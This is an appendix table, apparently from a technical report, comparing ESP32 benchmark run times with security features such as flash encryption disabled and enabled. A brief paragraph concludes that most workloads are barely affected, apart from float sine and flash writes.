Table B.3: Run times (in seconds) of various operations when ESP32 security features are 

disabled/enabled. 

Benchmark Insecure Secure Change 

Int8 add 146 147 0.68% 

Int8 divide 374 377 0.80% 

Int32 add 109 109 0.00% 

Int32 divide 274 275 0.35% 

Int64 add 445 447 0.45% 

Int64 divide 4478 4481 0.07% 

Float sine 1.11 * 104 3.06 * 104
 175.68% 

Float divide 2506 2510 0.16% 

Double sine 1.10 * 104 1.11 * 104 0.91% 

Double divide 3.16 * 104 3.16 * 104 0.00% 

Double square root 4786 4793 0.15% 

Copy string 3150 3150 0.00% 

Matrix multiplication 1.57 * 105 1.57 * 105 0.00% 

Read to flash 7.30 * 104 7.26 * 104 -0.55% 

Write to flash 5.23 * 107 4.77 * 107 -8.80% 

 

It can be seen that the majority of workloads were not impacted by the flash encryption delay. 

We observed only a notable delay in the "float sin" benchmark, which increased by roughly 19 
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milliseconds. However, we also observe that the "write to flash" benchmark decreased by about 

4.6 seconds. Our results indicate that the majority of computation-intensive workloads will not 

be impeded by flash encryption. 
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